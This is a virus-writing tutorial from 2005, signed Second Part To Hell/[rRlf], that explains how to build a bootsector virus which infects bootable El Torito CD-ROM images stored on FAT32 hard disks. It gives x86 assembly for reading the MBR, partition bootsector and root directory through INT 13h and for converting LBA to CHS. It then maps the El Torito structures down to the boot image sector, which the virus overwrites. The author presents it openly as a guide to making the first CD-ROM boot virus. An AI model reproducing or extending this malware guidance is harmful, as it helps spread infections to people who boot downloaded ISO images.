*************************************************************
*************************************************************
************ ***********
************ New era of bootsectorviruses #2: ***********
************ El Torito ISO infection at FAT32 ***********
************ by Second Part To Hell/[rRlf] ***********
************ ***********
*************************************************************
*************************************************************
Index:
******
0) Intro
1) Theory / Idea
2) MBR: Master Boot Record
3) Partition's Bootsector
4) Root Directory
5) Find data at the Harddisk
6) El Torito ISO
7) Last words
0) Intro
This second tutorial about bootsectorviruses is about a very unusual
topic: CD-ROM bootsector infection. How could we infect a bootsector of a
CD-ROM? Via infecting bootable Images. The bootable CD-ROM images are
called El Torito ISO-9660. This standart is very common, and used in many
programs like Ahead Nero Burning ROM. El Torito ISOs are spread via the
internet zB via Emule (Knoppix, Windows Installation CD-ROM, ...). Before
reading this tutorial, it would be of some value to read the first article
about this topic as I will not repeat too much. Well, let's start!
1) Theory / Idea
What do we want? Infecting a CD-ROM's bootsector. We will manage it via
infecting the Image file, as I've already told you. But how can we find
image files??? We have to write our own FAT32 FileSystem Driver. Sounds
hard, but it is not if you know what exectly to do (all you will know
after this tutorial :D). After finding the ISO file, we have to check if
it's ready to infect and where we have to infect it (it has a much more
complicated structure as raw-data-image-files). When we found the right
place, we have no more problems. OK, you should know now, what we will do,
just let us do it now...
2) MBR: Master Boot Record
The Master Boot Record is the first physical sector of the Harddisk. Here
we also get the information about the partition's start sector at the HD.
So first thing we have to do after loading the virus is to load the MBR
into the memory. Let's say, offset 0x2000:
- - - - - - - - - - - - - [ Load MBR - Source ] - - - - - - - - - - - - -
mov bx, 0x2000 ; bx=0x2000
mov es, bx ; Data will be read to ES:BX, ES=0x2000
mov ds, bx
xor bx, bx ; BX=0x0
mov ah, 0x2 ; Read
mov al, 0x1 ; 1 Sector
mov cl, 1 ; Start at sector 1
mov ch, 0 ; Cylinder=0
mov dh, 0 ; Head=0
mov dl, 0x80 ; Drive=0x80=HD
int 0x13 ; Read MBR
- - - - - - - - - - - - - [ Load MBR - Source ] - - - - - - - - - - - - -
What is important: DL = drive number (bit 7 set for hard disk)
1000 0000 = 0x80 = HD
Now we have the MBR in memory at adresse 0x2000:0x0, what next? We have to
understand the stucture of the MBR:
Start: Lenght: Type:
*****************************
0 Byte 446 Byte Bootloader
446 Byte 64 Byte Partitiontable
510 Byte 2 Byte 0x55AA <- Bootsign
What we need is the Partitiontable, to get the start of the partitions.
The table is splitted into 4 parts (=4 partitions) with the same size
(16 byte). One entry of the Partitiontable looks like that:
Name: Start: Lenght: Description:
******************************************************
Active Partition Flag 0 Byte 1 Byte If the partition is active or not
Active: 0x80 | Not active: 0x0
CHS Start 1 Byte 3 Byte CHS value of start of the partition
Type 4 Byte 1 Byte Type of partition
CHS End 5 Byte 3 Byte CHS value of end of the partition
LBA Start 8 Byte 4 Byte LBA value of start of the partition
LBA Length 12 Byte 4 Byte LBA value of sectors IN the partition
Here we just need two values: CHS Start for reading the Bootsector of the
partition and LBA Start for Sector calculation later on. So what to do for
reading the partition's bootsector? See:
- - - - - - - - - - - - - [ Load Partition's BS - Source ] - - - - - - - - - - - - -
xor bx, bx ; bx=0=Start of MBR
mov ax, [bx+454] ; ax=1st Partition's start: Partitiontable (446) + 8 = 454
mov cl, [bx+447] ; cl=Sector of 1st Partition in CHS: 446 + 1 = 447
mov dh, [bx+448] ; dh=Head of 1st Partition in CHS: 446 + 2 = 448
mov ch, [bx+449] ; ch=Cylinder of 1st Partition in CHS: 446 + 3 = 449
mov bx, 0x1000 ; bx=0x1000
mov es, bx ; Data will be read to ES:BX, ES=0x1000
mov ds, bx
xor bx, bx ; BX=0x0
mov [BootSecPar], ax ; Save 1st Partition's start in LBA
mov ah, 0x2 ; Read
mov al, 0x10 ; 16 Sector
mov dl, 0x80 ; Drive=0x80=HD
mov bx, 0x2000 ; bx=0x2000
mov es, bx ; Data will be read to ES:BX, ES=0x2000
mov ds, bx
xor bx, bx ; BX=0x0
int 0x13 ; Read First Sector of Partition
- - - - - - - - - - - - - [ Load Partition's BS - Source ] - - - - - - - - - - - - -
3) Partition's Bootsector
The partition now gives us the needed values for the root directory. First
we have to know the calculation for the Root Directory (which tooked me
several days to find it, as nobody seemed to know that):
(boot sector)+(number of fats)*(sectors per fat)+(reserved sectors)+(root cluster-2)*(sectors per cluster)
And where are these offsets:
Offset 13 ;db sectors per cluster
Offset 14 ;dw fat offset or reserved sectors
Offset 16 ;db number of fats
Offset 44 ;dd root cluster
Offset 36 ;dd sectors per fat
At this point I have to thank Octavio, a member in the MenuetOS forum, for
this calculation and the offsets. Without you nobody could read this!
Let's see the code for getting the values:
- - - - - - - - - [ Get Cluster for Root_Directory - Source ] - - - - - - - - -
mov ah, [bx+24] ; ah=BPB_SecPerTrk: For CHS calculation
mov al, [bx+26] ; al=BPB_NumHeads: For CHS calculation
mov cl, [bx+13] ; cl=Sector per cluster
mov ch, [bx+16] ; ch=Number of FATs
mov si, [bx+14] ; si=Reserved Sectors
mov ebp, [bx+44] ; ebp=RootCluster
mov edx, [bx+36] ; edx=Sectors per FAT
mov bx, 0x1000 ; bx=0x2000
mov es, bx ; Data will be read to ES:BX, ES=0x2000
mov ds, bx
xor bx, bx ; BX=0x0
mov [TotalSector], ah ; Save BPB_SecPerTrk
mov [TotalHead], al ; Save BPB_NumHeads
mov [SecPerClust], cl ; Save Sector per cluster
mov [ReservedSec], si ; Save Reserved Sector
mov [NumOfFats], ch ; Save Number Of FATs
mov [SecPerFat], edx ; Save Sector Per FAT
mov [LBA], ebp ; Save Root Cluster
call getLBA ; Get the real sector number
; Returns the real sector number in EAX
- - - - - - - - - [ Get Cluster for Root_Directory - Source ] - - - - - - - - -
At this calculation we got the all values for the Root_Directory Cluster,
which means that we have to get the real sector in connection with the
value [LBA] at the harddisk of this root directory. [LBA] represents the
cluster of the root directory. Now comes the calculation listed above
(ClusterNum -> SectorNum).
- - - - - - - - - - - - - - - [ getLBA - Source ] - - - - - - - - - - - - - - -
getLBA:
;; Find Data:
;; (boot sector)+(number of fats)*(sectors per fat)+(reserved sectors)+(Data cluster-2)*(sectors per cluster)
;; DataCluster saved in LBA
mov eax, [SecPerFat] ; eax=SecPerFat
xor bx, bx ; bx=0
mov bl, [NumOfFats] ; bl=NumOfFats
mul bx ; AX*BX=DX:AX
mov [FATCalc], ax ; Save the result
xor eax, eax ; EAX=0
mov al, [SecPerClust] ; al=SecPerClust
mov ebx, [LBA] ; ebx=DataCluster
sub ebx, 2 ; DataCluster-=2
mul ebx ; EAX*EBX=EDX:EAX
mov [ClustCalc], eax ; Save the result
xor eax, eax ; eax=0
mov ax, [BootSecPar] ; AX=Sectors before the 1st partition
xor ebx, ebx ; ebx=0
mov bx, [FATCalc] ; BX=(number of fats)*(sectors per fat)
add eax, ebx ; AX+=BX
mov bx, [ReservedSec] ; BX=Reserved Sectors
add eax, ebx ; AX+=BX
mov ebx, [ClustCalc] ; BX=(Root Cluster-2)*(Sectors per Cluster)
add eax, ebx ; AX+=BX
xor edx, edx ; EDX=0
ret
- - - - - - - - - - - - - - - [ getLBA - Source ] - - - - - - - - - - - - - - -
What we have now in EAX is the sector number on the harddisk (NOT the same
as partition!!!). But we can not read it, as we don't know the Cylinder,
Head and Sector for INT 0x13/AH=2. So first we have to calculate this
values. How to calculate this values? (thanks to Jack Dobiash)
Sector = ((LBA Mod Total Sectors) +1)
CylHead = (LBA Div Total Sectors)
Head = (CylHead Mod (Total Heads + 1))
Cylinder = (CylHead Div (Total Heads + 1))
This is the standart, but for HDs you can use the 2 highest byte of the
sector also for cylinders. This allows 63 Sectors, 255 Heads and 1023
Cylinder.
The following list is copyed by Ralf Brown's Interrupt List:
INT 13 - DISK - READ SECTOR(S) INTO MEMORY
AH = 02h
AL = number of sectors to read (must be nonzero)
CH = low eight bits of cylinder number
CL = sector number 1-63 (bits 0-5)
high two bits of cylinder (bits 6-7, hard disk only)
DH = head number
DL = drive number (bit 7 set for hard disk)
ES:BX -> data buffer
You should understand it, see the source of this function now:
- - - - - - - - - - - - - - - - [ CHS - Source ] - - - - - - - - - - - - - - - -
CHS:
xor ebx, ebx ; ebx=0
mov bl, [TotalSector] ; Total Sectors
div ebx ; EDX:EAX DIV EBX=
; EAX= Quotient
; EDX= Reminder
inc dx ; Reminder+1=Sector
mov [sector], dl ; Sector=Reminder (not more than 0xFF)
mov [cylhead], eax
mov edx, eax ; EDX=Quotient
shr edx, 16 ; DX=High number of quotient
xor bx, bx ; BX=0
mov bl, [TotalHead] ; Total Heads
div bx ; DX:AX DIV BX=
; AX= Quotient
; DX= Reminder
mov [head], dl ; Head=Reminder
mov [cylinder], al ; Cylinder=Quotient
shl ah, 6 ; 0000 00?? -> ??00 0000
mov al, [sector] ; high two bits of cylinder (bits 6-7, hard disk only)
or al, ah ; 00xx xxxx -> ??xx xxxx
mov [sector], al ; Save!
ret
- - - - - - - - - - - - - - - - [ CHS - Source ] - - - - - - - - - - - - - - - -
Now you have the important values in [sector], [head] and [cylinder]. Just
read it now.
4) Root Directory
The FAT32 root directory has some differents to the FAT12 root directory.
Every file entry has, in normal cases, 32 bytes of data. Just if the file
uses a long word, the data is longer (but we can easiely ignore that).
Most things I've already descripted in the previous article, so there is
no need to copy these infos.
See the list of the 32 bytes of a file:
Name * Offset * Size * Description
**************************************************************************
DIR_Name * 0 * 11 * File Name (*) *
DIR_Attr * 11 * 1 * File Attributes (*) *
DIR_NTRes * 12 * 1 * Reserved: Set zero *
DIR_CrtTimeTenth * 13 * 1 * Time: Unimportant *
DIR_CrtTime * 14 * 2 * Time: Unimportant *
DIR_CrtDate * 16 * 2 * Date: Unimportant *
DIR_LstAccDate * 18 * 2 * Date: Unimportant *
DIR_FstClusHI * 20 * 2 * High word of this entry's first *
* * * cluster number *
DIR_WrtTime * 22 * 2 * Time: Unimportant *
DIR_WrtDate * 24 * 2 * Date: Unimportant *
DIR_FstClusLO * 26 * 2 * Low word of 1st cluster number (*) *
DIR_FileSize * 28 * 2 * Filesize (*) *
**************************************************************************
(*) = Already descriped in 'New era of bootsectorvirus #1'
5) Find data at the Harddisk
Now we know, how the FAT32 root directory looks like. And now: How to get
a file of an entry, which we want?
First, we have to compair the two words of the cluster number, so we have
the real dword:
- - - - - - - - - - - - - - - - [ dword - Source ] - - - - - - - - - - - - - - - -
mov ax, [bx+20] ; High number of cylinder to ax
shl eax, 0x10 ; High number in e-part of eax
mov ax, [bx+26] ; Low number of cylinder to ax
- - - - - - - - - - - - - - - - [ dword - Source ] - - - - - - - - - - - - - - - -
Now we have the cluster number in eax. To read them, we first have to get
the LBA number (sector number at partition) and then calculate the CHS for
the INT 13 / AH=0x2||0x3. We already know the function getLBA and CHS, so
there is no need to write them down again. See the code for reading a file
into memory:
- - - - - - - - - - - - - - - - [ Read File - Source ] - - - - - - - - - - - - - - - -
mov [LBA], eax ; DataCluster=EAX
call getLBA ; Get the real sector number
; Returns the sector number in EAX
mov [LBA], eax ; Save the LBA
call CHS ; Get the CHS of the real sector number
mov ah, 0x2 ; Read
mov al, 0x1 ; 1 Sector
mov cl, [sector] ; Start at sector ??
mov ch, [cylinder] ; Cylinder=?
mov dh, [head] ; Head=??
mov dl, 0x80 ; Drive=0x80=HD
mov bx, 0x3000 ; bx=0x3000
mov es, bx ; Data will be read to ES:BX, ES=0x3000
mov ds, bx
xor bx, bx ; BX=0x0
int 0x13 ; Read Sectors
- - - - - - - - - - - - - - - - [ Read File - Source ] - - - - - - - - - - - - - - - -
What we have now is the first sector of the file in memory starting at
offset 0x3000:0x0.
6) El Torito ISO
El Torito is the bootable format of CD-ROM images (ISO). This is the image
we want to infect. :) First enormous important thing to know is, that a
sector at a CD-ROM is 0x800 bytes long, not like the sectors at the HD,
which are 0x200 bytes long. Then it's important to know, that the boot-
sector of CD-ROMs is not the first sector, as it's at floppies or HDs.
In this article I just write about 'Single Boot-Image Configuration'. See
the short graphic about the structure of this kind of files:
+-------------------------+
Sector 0: | SYSTEM |
| (UNUSED) |
|-------------------------|
Sector 16: | Primary Volume |
|-------------------------|
Sector 17: | Boot Record Volume |-------+
|-------------------------| |
| | |
|-------------------------| |
| | |
|-------------------------| |
| | |
|-------------------------| |
| Set Termination Volume | |
|-------------------------| |
| Boot Catalog | <-----+
| |-------+
|-------------------------| |
| Bootable Disk Image | <-----+
|-------------------------|
| CD-ROM Image |
+-------------------------+
We see, which parts we need to read to get the Bootable Disk Image. First
we need to read the Boot Record Volume to get the pointer to the Boot
Catalog. This Boot Catalog finally points to the Bootable Disk Image.
Now let's read the Boot Record Volume. It is at the 17th sector. Remember:
The 17th Sector of a CD-ROM (image) is the 17*4th (68th) sector of the
harddisk! To know what to do next, we need further infos about the Boot
Record Volume:
Offset * Type * Description
****************************
0 * Byte * Boot Record Indicator
1-5 * Byte * ISO-9660 Identifier, must be 'CD001'
6 * Byte * Version of the descriptor, must be 1
7-26 * Byte * Boot System Identifier, must be 'EL TORITO SPECIFICATION"
padded with 0's.
27-46 * Byte * Unused, must be 0.
47-4A * DWord * Absolute pointer to first sector of Boot Catalog.
4A-7FF * Byte * Unused, must be 0.
You can see our pointer now. The pointer uses the number of CD-ROM sectors
which means, that you have to muliplicate it with 4, to get the HD sector.
Then you add the sector number of the filestart, and you have the real
sector number, which we have to read next.
The Boot Catalog is splittet in some different parts, see the structure
now:
Offset * Type * Description
****************************
0 * Byte * Header ID, must be 01.
1 * Byte * Platform ID.
2-3 * Word * Reserved, must be 0.
4-1B * Char * ID-String.
1C-1D * Int * Checksum Word.
1E * Byte * Key Byte, must be 55.
1F * Byte * Key Byte, must be AA.
Validation Entry (subname)
Next comes the Initial/Default Entry, add 0x20 to the offset.
Offset * Type * Description
****************************
0 * Byte * Boot Indicator (88=bootable | 00=not bootable)
1 * Byte * Boot media Type
2-3 * Word * Load segment (standart is 0x7C0)
4 * Byte * System Type.
5 * Byte * Unused, must be 0.
6-7 * Word * Sector count.
8-0B * DWord * Load RBA. This is the start address of the virtual disk.
0C-1F * Byte * Unused, must be 0.
The Value at 8-0xB (Load RBA) is the pointer to the sector of the boot
sector of the ISO file. We have to get this sector, and we have it.
Now we can overwrite this sector and the following sectors with our virus.
Everything is ready now. Finally! :)
7) Last words
Finally, the first CD-ROM bootsector virus has been finished, and the
information to write it has been published with this article. There would
be another undiscovered technique going hand in hand with this one:
Network Boot viruses using BOOTP. But I doubt that I will make that one
soon, as I'm bored of the OS-developing currently :). At this point I also
want to say 'hi' to LiTlLe VxW, who has published an article called 'Boot
CD infection' in 29a#8 in january 2005. The article was unfortunatly just
theoretically - I did not used any information by his article :).
Here are some articles which may be useful for reading, if you want to
make a CD-ROM bootsector virus:
- FAT: Gerneral Overview of On-Disk Formation by Microsoft Corporation
- Volume and File Structure of CDROM for Information Interchange
- "El Torito" Bootable CD-ROM Format Specification
Well,the discoverment on this topic used six months, and now it is ending.
It was an interesting topic, and I hope that you are (at least partly :D)
interested in it! See you soon out there, and don't forget: Never stopp
fooling the establishment :)
- - - - - - - - - - - - - - -
Second Part To Hell/[rRlf]
www.spth.de.vu
spth@priest.com
written from Jan 2005 - April 2005
Austria
- - - - - - - - - - - - - - -